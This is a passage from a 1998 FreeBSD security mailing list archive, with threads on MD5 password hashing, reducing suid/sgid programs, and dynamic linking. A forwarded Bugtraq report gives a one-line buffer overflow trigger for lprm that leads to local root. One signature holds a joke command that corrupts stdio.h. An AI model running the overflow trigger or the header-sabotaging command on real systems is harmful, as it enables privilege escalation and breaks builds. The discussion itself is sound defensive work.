to64(&salt[6], tv.tv_sec, 2); salt[8] = '\0'; } else { /* MD5 Salt */ strncpy(&salt[0], "$1$", 3); to64(&salt[3], random(), 3); to64(&salt[6], tv.tv_usec, 3); salt[8] = '\0'; } #endif return (crypt(buf, salt)); - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - In the current situation this is the behavior of passwd: * Creating a new user/password: uses de DES scheme * Changing a password: if the password was MD5 (it had the "$1$" signature) the new password will use the MD5 scheme, else will use the DES scheme FIX: The easy (& wrong) way: sym-linking the libcrypt.* files back to the libscrypt.* files when needing the new/changed passwords to be MD5 encrypted. This has the side-effect of making the already existing DES passwords useless (they will no longer be accepted/work). The hard (& good) way: making the passwd code multiple-scheme aware with posibility to control (the order of) the scheme(s) to use. SUGGESTIONS: For the config file it would probably make more sense using the login.conf database -- the current passwd already checks for two other settings (minpasswordlen and passwordperiod) in the login capability. Also, this will permit setting different schemes for different/special classes/users. Another option would be introducing an /etc/passwd.conf file. For the source-code implementation: either rely on the crypt() beeing multiple-scheme aware (choosing the scheme based on a signature in the salt, for example) and use the standard _libcrypt_ library, or try using the specific library for each encryption scheme requested -- making use of dlopen(3) ?. This depends also on the way password authentication will be done -- will it recognise the scheme from the signature contained in it or will it try every possible scheme ? Also, we should take care for other encryption schemes might appear. I believe using a standard crypt() makes the process of adding other new encryption schemes pretty hard -- the new crypt() function will have to incorporate hooks for every other scheme. Using specific libraries will (probably) cause some problems with static linked binaries. I would go for using specific dynamic libraries and including scheme-specific signatures in the encrypted password -- MD5 already makes a precedent. Also, passwd/the authentication routine should decide which scheme will be used and not the crypt() function -- you wouldn't like to have passwords encoded with not-approved-by-you schemes, would you ? Please note that currently I'm not in the position to suggest patches, I'm not (yet) such a skilled programmer and neither do I know very well the FreeBSD internals. Thank you, Adrian Penisoara Ady (@warpnet.ro) Warp Net Technologies To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Mon Apr 20 08:52:02 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id IAA16150 for freebsd-security-outgoing; Mon, 20 Apr 1998 08:39:27 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from gateman.zeus.leitch.com (gateman.zeus.leitch.com [204.187.61.193]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id PAA16045 for ; Mon, 20 Apr 1998 15:39:00 GMT (envelope-from woods@tap.zeus.leitch.com) Received: from zeus.leitch.com (tap.zeus.leitch.com [204.187.61.10]) by gateman.zeus.leitch.com (8.8.5/8.7.3/1.0) with ESMTP id LAA17590 for ; Mon, 20 Apr 1998 11:38:58 -0400 (EDT) Received: from brain.zeus.leitch.com (brain.zeus.leitch.com [204.187.61.32]) by zeus.leitch.com (8.7.5/8.7.3/1.0) with ESMTP id LAA22377 for ; Mon, 20 Apr 1998 11:38:57 -0400 (EDT) Received: (from woods@localhost) by brain.zeus.leitch.com (8.8.8/8.8.8) id LAA13125; Mon, 20 Apr 1998 11:38:56 -0400 (EDT) (envelope-from woods@tap.zeus.leitch.com) Date: Mon, 20 Apr 1998 11:38:56 -0400 (EDT) Message-Id: <199804201538.LAA13125@brain.zeus.leitch.com> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 From: woods@zeus.leitch.com (Greg A. Woods) To: freebsd-security@FreeBSD.ORG Subject: Re: suid/sgid programs In-Reply-To: Fernando P. Schapachnik's message of "Sun, April 19, 1998 00:26:54 -0300" regarding "Re: suid/sgid programs" id <199804190326.AAA00487@localhost.schapachnik.com.ar> References: <199804190326.AAA00487@localhost.schapachnik.com.ar> X-Mailer: VM 6.45 under Emacs 20.2.1 Reply-To: woods@zeus.leitch.com (Greg A. Woods) Organization: Planix, Inc.; Toronto, Ontario; Canada Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by hub.freebsd.org id PAA16062 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk [ On Sun, April 19, 1998 at 00:26:54 (-0300), Fernando P. Schapachnik wrote: ] > Subject: Re: suid/sgid programs > > En un mensaje anterior Robert Watson escribi¢: > [...] > > We note also that a fairly large chunk of suid/sgid programs are UUCP > > programs -- something that a majority of FreeBSD users (I would guess?) do > > not use. In terms of reducing risk, disabling suid/sgid on these programs > > Don't be so sure. FreeBSD boxes are an excellent choice for UUCP servers. Indeed. And they are particularly relevant w.r.t. discussions about "hardening". Anyone who has ever wanted more explicit control over remote file transfer and job execution, with good auditing and error handling and recovery, should consider using UUCP over TCP instead of the r* suite of tools (or even ssh, which in theory could be used as a transport for uucp thus providing the best of both worlds). -- Greg A. Woods +1 416 443-1734 VE3TCP Planix, Inc. ; Secrets of the Weird To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Mon Apr 20 09:04:32 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id JAA23053 for freebsd-security-outgoing; Mon, 20 Apr 1998 09:04:32 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from gateman.zeus.leitch.com (gateman.zeus.leitch.com [204.187.61.193]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id QAA22942 for ; Mon, 20 Apr 1998 16:04:19 GMT (envelope-from woods@tap.zeus.leitch.com) Received: from zeus.leitch.com (tap.zeus.leitch.com [204.187.61.10]) by gateman.zeus.leitch.com (8.8.5/8.7.3/1.0) with ESMTP id MAA17792 for ; Mon, 20 Apr 1998 12:04:25 -0400 (EDT) Received: from brain.zeus.leitch.com (brain.zeus.leitch.com [204.187.61.32]) by zeus.leitch.com (8.7.5/8.7.3/1.0) with ESMTP id MAA22570 for ; Mon, 20 Apr 1998 12:04:24 -0400 (EDT) Received: (from woods@localhost) by brain.zeus.leitch.com (8.8.8/8.8.8) id MAA13296; Mon, 20 Apr 1998 12:04:24 -0400 (EDT) (envelope-from woods@tap.zeus.leitch.com) Date: Mon, 20 Apr 1998 12:04:24 -0400 (EDT) Message-Id: <199804201604.MAA13296@brain.zeus.leitch.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit From: woods@zeus.leitch.com (Greg A. Woods) To: freebsd-security@FreeBSD.ORG Subject: Re: suid/sgid programs In-Reply-To: Niall Smart's message of "Sun, April 19, 1998 20:39:48 +0000" regarding "Re: suid/sgid programs" id <199804191939.UAA01293@indigo.ie> References: <199804191939.UAA01293@indigo.ie> X-Mailer: VM 6.45 under Emacs 20.2.1 Reply-To: freebsd-security@FreeBSD.ORG Organization: Planix, Inc.; Toronto, Ontario; Canada Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk [ On Sun, April 19, 1998 at 20:39:48 (+0000), Niall Smart wrote: ] > Subject: Re: suid/sgid programs > > So you want an extra sgid kmem utility just because you like your curious > users to be able to see what your ccd configuration is? How useful is > that? Not very. Do it locally if you really must. That's bad advice for a general audience. Only a systems programmer who is extremely familiar with the rules for writing SUID code, and who can analyze the code in question and check for possible security problems, should ever even think of adding SUID to an existing binary. Alternately a SUID-code experienced systems programmer might instead derive a program from the utility in question that only generates reports. This is *exactly* the problem SGI/IRIX has/had -- too many programs were made SUID so that the average user running the GUI admin tools could poke around with the system. Unfortunately none of these programs seem to have gone through the normal rigorous design and programming audits one would expect for SUID code. On the other hand, for ccdconfig itself, if we assume the code was designed and written with the view that it would normally be SUID, then there's no reason why we should distrust it any more than anything else. Personally I'd be much more inclined to re-design the CCD driver interface such that it enforced superuser requirements on any operations that would change its configuration, and permitted normal users to query its status. Then there'd be no need for ccdconfig to be SUID in the first place. -- Greg A. Woods +1 416 443-1734 VE3TCP Planix, Inc. ; Secrets of the Weird To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Mon Apr 20 10:56:08 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id KAA23920 for freebsd-security-outgoing; Mon, 20 Apr 1998 10:56:08 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from gateman.zeus.leitch.com (gateman.zeus.leitch.com [204.187.61.193]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id RAA23457 for ; Mon, 20 Apr 1998 17:55:02 GMT (envelope-from woods@tap.zeus.leitch.com) Received: from zeus.leitch.com (tap.zeus.leitch.com [204.187.61.10]) by gateman.zeus.leitch.com (8.8.5/8.7.3/1.0) with ESMTP id NAA18483 for ; Mon, 20 Apr 1998 13:55:06 -0400 (EDT) Received: from brain.zeus.leitch.com (brain.zeus.leitch.com [204.187.61.32]) by zeus.leitch.com (8.7.5/8.7.3/1.0) with ESMTP id NAA23746 for ; Mon, 20 Apr 1998 13:55:05 -0400 (EDT) Received: (from woods@localhost) by brain.zeus.leitch.com (8.8.8/8.8.8) id NAA13930; Mon, 20 Apr 1998 13:55:05 -0400 (EDT) (envelope-from woods@tap.zeus.leitch.com) Date: Mon, 20 Apr 1998 13:55:05 -0400 (EDT) Message-Id: <199804201755.NAA13930@brain.zeus.leitch.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit From: woods@zeus.leitch.com (Greg A. Woods) To: freebsd-security@FreeBSD.ORG Subject: Re: suid/sgid programs In-Reply-To: Karl Denninger's message of "Sun, April 19, 1998 19:18:54 -0500" regarding "Re: suid/sgid programs" id <19980419191854.00143@mcs.net> References: <19980419124742.02609@mcs.net> <19980419191854.00143@mcs.net> X-Mailer: VM 6.45 under Emacs 20.2.1 Reply-To: freebsd-security@FreeBSD.ORG Organization: Planix, Inc.; Toronto, Ontario; Canada Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk [ On Sun, April 19, 1998 at 19:18:54 (-0500), Karl Denninger wrote: ] > Subject: Re: suid/sgid programs > > > > Same with crontab, at and batch. *CRON* needs to run as root, but crontab > > > and friends DO NOT. They need to be SUID to something, but again, not root. > > > > But if someone can break the uid that crontab runs as, they have root > > anyway. > > Not necessarily. There are ways around that problem. I, for one, am all ears! The only tricks I can think of are those that would work soley by obscurity, which with open source make them of little real value. Other tricks, such as using some fancy IPC between crontab(1) and cron(8) may actually decrease security because the spread the responsibility for authentication and authorization over more code. Crontab(1) as-is can be programmed very simply and quite securely so long, and regardless of what UID it runs as to drop files into the queuing area, if that UID is cracked then root is as good as gone too, so one may as well just make crontab(1) set-UID root. -- Greg A. Woods +1 416 443-1734 VE3TCP Planix, Inc. ; Secrets of the Weird To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Mon Apr 20 10:58:32 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id KAA24548 for freebsd-security-outgoing; Mon, 20 Apr 1998 10:58:32 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from fledge.watson.org (root@FLEDGE.RES.CMU.EDU [128.2.91.116]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id RAA24441 for ; Mon, 20 Apr 1998 17:58:03 GMT (envelope-from robert@cyrus.watson.org) Received: from fledge.watson.org (robert@fledge.pr.watson.org [192.0.2.3]) by fledge.watson.org (8.8.8/8.8.8) with SMTP id NAA20113 for ; Mon, 20 Apr 1998 13:57:42 -0400 (EDT) Date: Mon, 20 Apr 1998 13:57:42 -0400 (EDT) From: Robert Watson X-Sender: robert@fledge.watson.org Reply-To: Robert Watson To: freebsd-security@FreeBSD.ORG Subject: Nasty security hole in "lprm" (fwd) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk Do we got this one? Robert N Watson ---- Carnegie Mellon University http://www.cmu.edu/ Trusted Information Systems http://www.tis.com/ SafePort Network Services http://www.safeport.com/ robert@fledge.watson.org http://www.watson.org/~robert/ ---------- Forwarded message ---------- Date: Sat, 18 Apr 1998 15:42:11 +0100 From: Chris Evans To: BUGTRAQ@NETSPACE.ORG Subject: Nasty security hole in "lprm" Hi, I've found a local->root compromise in the lprm program, as shipped RedHat4.2 and RedHat5.0. Other systems untested. There is a prerequisite to exploiting this, that a remote printer be defined (rm field). If trying to remove entries from a remote queue, the args given are basically strcat()'ed into a static buffer. Thus: lprm -Psome_remote `perl -e 'print "a" x 2000'` Segmentation fault gdb confirms the program is attempting to execute code at 0x41414141 Other potential problems include assumptions about host name max lengths, dubious /etc/printcap parsing (but it seems user defined printcap files are not allowed). There is also a blatant strcpy(buf, getenv("something")) but luckily it is #ifdef'ed out. File/filename handling looks iffy at times too. It is scary that this was found in a mere 5 mins of auditing. I sincerely beleieve the BSD line printer system has no place on a secure system. When I get more time I might well look for other problems; I would not be surprised to find some. The lpr package is in need of an audit. If the great folks at OpenBSD have already done this, maybe others should nab their source code :-) Cheers Chris To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Mon Apr 20 11:08:33 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA26748 for freebsd-security-outgoing; Mon, 20 Apr 1998 11:08:33 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from gratis.grondar.za (gratis.grondar.za [196.7.18.65]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA26131 for ; Mon, 20 Apr 1998 18:04:38 GMT (envelope-from mark@grondar.za) Received: from greenpeace.grondar.za (greenpeace.grondar.za [196.7.18.132]) by gratis.grondar.za (8.8.8/8.8.8) with ESMTP id UAA01971; Mon, 20 Apr 1998 20:04:19 +0200 (SAST) (envelope-from mark@grondar.za) Received: from grondar.za (localhost [127.0.0.1]) by greenpeace.grondar.za (8.8.8/8.8.8) with ESMTP id UAA12042; Mon, 20 Apr 1998 20:04:18 +0200 (SAST) (envelope-from mark@grondar.za) Message-Id: <199804201804.UAA12042@greenpeace.grondar.za> X-Mailer: exmh version 2.0.2 2/24/98 To: Ollivier Robert cc: freebsd-security@FreeBSD.ORG Subject: Re: Using MD5 insted of DES for passwd ecnryption Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 20 Apr 1998 20:04:17 +0200 From: Mark Murray Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk Ollivier Robert wrote: > According to Jordan K. Hubbard: > > I've often wondered that myself and I'll be interested to hear the > > answer. :) I suspect the answer is, however, "you can't do that" > > and that we need some sort of /etc/passwd.conf (ducks :-). > > Why not (ab)using /etc/login.conf for that ? Or something akin to the > /etc/default/* scheme SysV use ? Or an LDAP entry [ducks too] Until Brandon Gillespie stood up and claimed this project, I had a plan to use /etc/passwd.conf. login.conf looks _much_ better. Where is BG? Methinks I'd better revive some ideas here. M -- Mark Murray Join the anti-SPAM movement: http://www.cauce.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Mon Apr 20 11:40:59 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA07871 for freebsd-security-outgoing; Mon, 20 Apr 1998 11:40:59 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from scanner.worldgate.com (scanner.worldgate.com [198.161.84.3]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA07758 for ; Mon, 20 Apr 1998 18:40:12 GMT (envelope-from marcs@znep.com) Received: from znep.com (uucp@localhost) by scanner.worldgate.com (8.8.7/8.8.7) with UUCP id MAA08982 for freebsd-security@freebsd.org; Mon, 20 Apr 1998 12:40:03 -0600 (MDT) Received: from localhost (marcs@localhost) by alive.znep.com (8.7.5/8.7.3) with SMTP id MAA26137 for ; Mon, 20 Apr 1998 12:39:35 -0600 (MDT) Date: Mon, 20 Apr 1998 12:39:34 -0600 (MDT) From: Marc Slemko To: freebsd-security@FreeBSD.ORG Subject: Re: suid/sgid programs In-Reply-To: <199804201755.NAA13930@brain.zeus.leitch.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk On Mon, 20 Apr 1998, Greg A. Woods wrote: > [ On Sun, April 19, 1998 at 19:18:54 (-0500), Karl Denninger wrote: ] > > Subject: Re: suid/sgid programs > > > > > > Same with crontab, at and batch. *CRON* needs to run as root, but crontab > > > > and friends DO NOT. They need to be SUID to something, but again, not root. > > > > > > But if someone can break the uid that crontab runs as, they have root > > > anyway. > > > > Not necessarily. There are ways around that problem. > > I, for one, am all ears! The only tricks I can think of are those that > would work soley by obscurity, which with open source make them of > little real value. Other tricks, such as using some fancy IPC between > crontab(1) and cron(8) may actually decrease security because the spread > the responsibility for authentication and authorization over more code. > Crontab(1) as-is can be programmed very simply and quite securely so > long, and regardless of what UID it runs as to drop files into the > queuing area, if that UID is cracked then root is as good as gone too, > so one may as well just make crontab(1) set-UID root. If you require that the crontab file be owned by the user whose crontab it is you can probably do something. Then crontab just has to flip to the real uid from the euid that it is setuid to. You may need to pop a setgid in there instead to allow permission for crontab to create files with the right owner. It isn't as simple as this, however, since you now open the crontab file to "outside" editing by the user. In an ideal world it wouldn't matter, however it needs to be checked. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Mon Apr 20 11:59:29 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA07400 for freebsd-security-outgoing; Mon, 20 Apr 1998 11:39:15 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from burka.rdy.com (dima@burka.rdy.com [205.149.163.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA07215 for ; Mon, 20 Apr 1998 18:38:34 GMT (envelope-from dima@burka.rdy.com) Received: by burka.rdy.com id LAA22195; (8.8.8/RDY) Mon, 20 Apr 1998 11:38:19 -0700 (PDT) Message-Id: <199804201838.LAA22195@burka.rdy.com> Subject: Re: Nasty security hole in "lprm" (fwd) In-Reply-To: from Robert Watson at "Apr 20, 98 01:57:42 pm" To: robert@cyrus.watson.org Date: Mon, 20 Apr 1998 11:38:19 -0700 (PDT) Cc: freebsd-security@FreeBSD.ORG X-Class: Fast Organization: HackerDome Reply-To: dima@best.net From: dima@best.net (Dima Ruban) X-Mailer: ELM [version 2.4ME+ PL38 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk It's being fixed for ages. Robert Watson writes: > > Do we got this one? > > > Robert N Watson > > > ---- > Carnegie Mellon University http://www.cmu.edu/ > Trusted Information Systems http://www.tis.com/ > SafePort Network Services http://www.safeport.com/ > robert@fledge.watson.org http://www.watson.org/~robert/ > > ---------- Forwarded message ---------- > Date: Sat, 18 Apr 1998 15:42:11 +0100 > From: Chris Evans > To: BUGTRAQ@NETSPACE.ORG > Subject: Nasty security hole in "lprm" > > Hi, > > I've found a local->root compromise in the lprm program, as shipped > RedHat4.2 and RedHat5.0. Other systems untested. > > There is a prerequisite to exploiting this, that a remote printer be > defined (rm field). > > If trying to remove entries from a remote queue, the args given are > basically strcat()'ed into a static buffer. > > Thus: > > lprm -Psome_remote `perl -e 'print "a" x 2000'` > Segmentation fault > > gdb confirms the program is attempting to execute code at 0x41414141 > > Other potential problems include assumptions about host name max lengths, > dubious /etc/printcap parsing (but it seems user defined printcap files > are not allowed). There is also a blatant strcpy(buf, getenv("something")) > but luckily it is #ifdef'ed out. File/filename handling looks iffy at > times too. > > It is scary that this was found in a mere 5 mins of auditing. I sincerely > beleieve the BSD line printer system has no place on a secure system. When > I get more time I might well look for other problems; I would not be > surprised to find some. The lpr package is in need of an audit. If the > great folks at OpenBSD have already done this, maybe others should nab > their source code :-) > > Cheers > Chris > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe security" in the body of the message > -- dima To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Mon Apr 20 12:34:34 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA22849 for freebsd-security-outgoing; Mon, 20 Apr 1998 12:34:34 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from gateman.zeus.leitch.com (gateman.zeus.leitch.com [204.187.61.193]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id TAA22814 for ; Mon, 20 Apr 1998 19:34:21 GMT (envelope-from woods@tap.zeus.leitch.com) Received: from zeus.leitch.com (tap.zeus.leitch.com [204.187.61.10]) by gateman.zeus.leitch.com (8.8.5/8.7.3/1.0) with ESMTP id PAA19182 for ; Mon, 20 Apr 1998 15:34:22 -0400 (EDT) Received: from brain.zeus.leitch.com (brain.zeus.leitch.com [204.187.61.32]) by zeus.leitch.com (8.7.5/8.7.3/1.0) with ESMTP id PAA24315 for ; Mon, 20 Apr 1998 15:34:21 -0400 (EDT) Received: (from woods@localhost) by brain.zeus.leitch.com (8.8.8/8.8.8) id PAA14697; Mon, 20 Apr 1998 15:34:21 -0400 (EDT) (envelope-from woods@tap.zeus.leitch.com) Date: Mon, 20 Apr 1998 15:34:21 -0400 (EDT) Message-Id: <199804201934.PAA14697@brain.zeus.leitch.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit From: woods@zeus.leitch.com (Greg A. Woods) To: freebsd-security@FreeBSD.ORG Subject: Re: suid/sgid programs In-Reply-To: Marc Slemko's message of "Mon, April 20, 1998 12:39:34 -0600" regarding "Re: suid/sgid programs" id References: <199804201755.NAA13930@brain.zeus.leitch.com> X-Mailer: VM 6.45 under Emacs 20.2.1 Reply-To: woods@zeus.leitch.com (Greg A. Woods) Organization: Planix, Inc.; Toronto, Ontario; Canada Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk [ On Mon, April 20, 1998 at 12:39:34 (-0600), Marc Slemko wrote: ] > Subject: Re: suid/sgid programs > > If you require that the crontab file be owned by the user whose crontab it > is you can probably do something. Then crontab just has to flip to the > real uid from the euid that it is setuid to. You may need to pop a setgid > in there instead to allow permission for crontab to create files with the > right owner. Hmmm.... yes, set-GID would indeed be sufficient in this situation. I had earlier dismissed it because of the potential problem you mention below, and because I am worried about the risk of a denial-of-service attack should the special group-id be compromised (anyone's crontab, including root's, could be removed in that scenario). It also places the burden on cron for doing the authorization based on matching the user-id of the file to the filename (and thus for also avoiding race conditions when performing those checks, though this should be relatively easy with fstat(2)). In addition it further prevents one from ever allowing non-root chown(2) [even if you don't implement, or care about, quotas]. All-in-all though it may be less risky than keeping crontab(1) set-UID root! > It isn't as simple as this, however, since you now open the crontab file > to "outside" editing by the user. In an ideal world it wouldn't matter, > however it needs to be checked. No, not necessarily if you make the directory mode 770 or 570, and make the file mode 440 or even 040. That should be more than sufficient. Only if the user compromises the special group-id will such edits be possible. -- Greg A. Woods +1 416 443-1734 VE3TCP Planix, Inc. ; Secrets of the Weird To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Mon Apr 20 12:58:24 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA29319 for freebsd-security-outgoing; Mon, 20 Apr 1998 12:58:24 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from xmission.xmission.com (softweyr@xmission.xmission.com [198.60.22.2]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id TAA29116 for ; Mon, 20 Apr 1998 19:57:49 GMT (envelope-from softweyr@xmission.xmission.com) Received: (from softweyr@localhost) by xmission.xmission.com (8.8.8/8.7.5) id NAA15966; Mon, 20 Apr 1998 13:53:30 -0600 (MDT) From: Wes Peters - Softweyr LLC Message-Id: <199804201953.NAA15966@xmission.xmission.com> Subject: Re: Using MD5 insted of DES for passwd ecnryption To: peter@netplex.com.au (Peter Wemm) Date: Mon, 20 Apr 1998 13:53:24 -0600 (MDT) Cc: jkh@time.cdrom.com, ady@warpnet.ro, softweyr@xmission.com, freebsd-security@FreeBSD.ORG In-Reply-To: <199804201324.VAA04518@spinner.netplex.com.au> from "Peter Wemm" at Apr 20, 98 09:24:27 pm X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk Peter Wemm pointed out: > Static linking really does restrict some of the creative things that can be > done with dynamic linking. It would fix the two different versions of init > for starters... But that'd mean creating a /lib (and /libexec/ld.so) and > putting a selection of shared libs in there. As long as ld.so was robust > enough to work without /var/run/ld.so.cache, this would not be a problem. > Putting a selection (say 2MB) of shared libs in /lib would probably cut the > 9.5MB of /bin+/sbin to 3MB tops, leaving an overall root fs space saving. > But we'd also be able to use things like PAM (heaven forbid), runtime > selection of gethostbyname() backends (files,DNS,NIS,whatever). The > removal of the files,dns,nis stuff (into a seperate library each) could > save overall libc.so size. Adding NIS+ support would be as simple as > adding one line to a file and everything could support it automatically > without relinking etc. Same thing for new crypt routines for passwd stuff. > > However, the thought of having ld.so on / and a dynamic sh and init seems > to make some people break out into a cold sweat... Sounds like the overall win might make it worthwhile, over in -current land. This would be a big win for making small, embedded FreeBSD systems as well. ;^) -- "Where am I, and what am I doing in this handbasket?" Wes Peters Softweyr LLC http://www.xmission.com/~softweyr softweyr@xmission.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Mon Apr 20 15:03:23 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA04988 for freebsd-security-outgoing; Mon, 20 Apr 1998 15:03:23 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from indigo.ie (nsmart@ts01-56.waterford.indigo.ie [194.125.139.119]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id WAA04916 for ; Mon, 20 Apr 1998 22:02:59 GMT (envelope-from rotel@indigo.ie) Received: (from nsmart@localhost) by indigo.ie (8.8.8/8.8.7) id XAA00941; Mon, 20 Apr 1998 23:01:08 +0100 (IST) (envelope-from rotel@indigo.ie) From: Niall Smart Message-Id: <199804202201.XAA00941@indigo.ie> Date: Mon, 20 Apr 1998 23:01:08 +0000 In-Reply-To: Marc Slemko "Re: suid/sgid programs" (Apr 19, 6:25pm) Reply-To: rotel@indigo.ie X-Mailer: Mail User's Shell (7.2.6 beta(3) 11/17/96) To: Marc Slemko , Niall Smart , Robert Watson Subject: Re: suid/sgid programs Cc: freebsd-security@FreeBSD.ORG Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk On Apr 19, 6:25pm, Marc Slemko wrote: } Subject: Re: suid/sgid programs > On Mon, 20 Apr 1998, Niall Smart wrote: > > > > > But if someone can break the uid that lpr runs as then they can probably > > > > > break root anyway. > > > > > > > > How? > > > > > > Because they then have full access to the queue directory that lpd reads > > > from and lpd does run as root so it can access the files people want to > > > print. > > > > lpr can be setuid "lp" so that it can write to the print spool > > directory, it has access to the file the user wants to print because > > that is it's real uid. lpd can be root.wheel 770 and immediately > > setuid to "lp" after opening the socket. (Or you could just disable > > this silly priveledged socket scheme) > > Not unless you are willing to lose "lpr -s" and the ability to print to > remote printers. lpr hands print jobs for remote printers off to lpd, so it doesn't need to be setuid. lpd accepts connections from any port number, so the sending lpd doesn't have to stay root so it can open connections to remote printers from a privledged port. Yes, you lose the ability to lpr -s but security comes at a price, and this is a small price IMO. Many people don't even know about lpr -s, especially the twits with 16Mb of 32-bit color images embedded in their print jobs. > "this silly privileged socket scheme" may be silly but throwing it out > without replacing it isn't the answer. The replacements, cryptography and credential passing over UNIX domain sockets, are ready and willing! Niall -- Niall Smart. PGP: finger njs3@motmot.doc.ic.ac.uk FreeBSD: Turning PC's into Workstations: www.freebsd.org Annoy your enemies and astonish your friends: echo "#define if(x) if (!(x))" >> /usr/include/stdio.h To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Mon Apr 20 15:10:40 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA06322 for freebsd-security-outgoing; Mon, 20 Apr 1998 15:10:40 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from indigo.ie (nsmart@ts01-56.waterford.indigo.ie [194.125.139.119]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id WAA06216 for ; Mon, 20 Apr 1998 22:10:07 GMT (envelope-from rotel@indigo.ie) Received: (from nsmart@localhost) by indigo.ie (8.8.8/8.8.7) id XAA00994; Mon, 20 Apr 1998 23:08:03 +0100 (IST) (envelope-from rotel@indigo.ie) From: Niall Smart Message-Id: <199804202208.XAA00994@indigo.ie> Date: Mon, 20 Apr 1998 23:08:03 +0000 In-Reply-To: Wes Peters "Re: suid/sgid programs" (Apr 19, 8:16pm) Reply-To: rotel@indigo.ie X-Mailer: Mail User's Shell (7.2.6 beta(3) 11/17/96) To: Wes Peters , Marc Slemko Subject: Re: suid/sgid programs Cc: Niall Smart , freebsd-security@FreeBSD.ORG, mike@smith.net.au Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk On Apr 19, 8:16pm, Wes Peters wrote: } Subject: Re: suid/sgid programs > Marc Slemko wrote: > > It would probably be better to pull all of UUCP into a separate install > package, so users who don't use it could simply not install it. This > way, the install package could install all of the UUCP binaries with the > correct permissions, and users who don't need UUCP lower their suid/sgid > impact. Yes, I've thought about this before and I agree it would be nice. I think Mike Smith is going to be working on 